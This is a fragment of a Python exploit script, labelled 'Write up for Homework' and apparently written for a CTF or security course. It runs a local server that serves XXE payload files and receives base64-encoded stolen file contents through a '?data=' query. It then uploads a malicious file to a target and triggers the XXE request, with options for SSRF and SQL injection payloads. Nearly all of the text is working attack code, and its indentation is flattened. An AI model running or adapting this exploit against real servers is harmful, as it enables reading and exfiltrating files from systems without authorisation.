def do_GET(self):
# return all todos
re_recv_base64 = re.compile('''(?<=/\?data=).+''')
if (self.path.find("payload1.xml") != -1):
data = self.respPayload(1)
elif (self.path.find("payload2.xml") != -1):
data = self.respPayload(2)
elif (re_recv_base64.search(self.path)):
print("Recv Base64 data")
data = re_recv_base64.findall(self.path)[0]
data = base64.b64decode(data)
print(data)
data = "Bye"
else:
print(self.path)
self.send_error(404, "File not found.")
return
self.send_response(200)
self.send_header('Content-type', 'text/xml')
self.end_headers()
self.wfile.write(data.encode())
if data == "Bye":
httpd.shutdown()
# r = requests.post(upfile_url, data=data, files=files, headers=headers, proxies=proxies)
r = requests.post(upfile_url, data=data, files=files, headers=headers)
time.sleep(1)
# r = requests.get(xxe_url, headers=headers, proxies=proxies)
r = requests.get(xxe_url, headers=headers)
def main():
global HOST
global PORT
global UPFILE
global SSRF
global PAYLOAD
parser = argparse.ArgumentParser(description='Write up for Homework')
parser.add_argument('-H', '--HOST', help='local ip', required=True)
parser.add_argument('-ssrf', '--SSRF', help='Is ssrf or xxe read file.', action="store_true")
parser.add_argument('-p', '--PAYLOAD', default="index.php",
help='The payload for SQL injection or the file path for XXE')
args = parser.parse_args()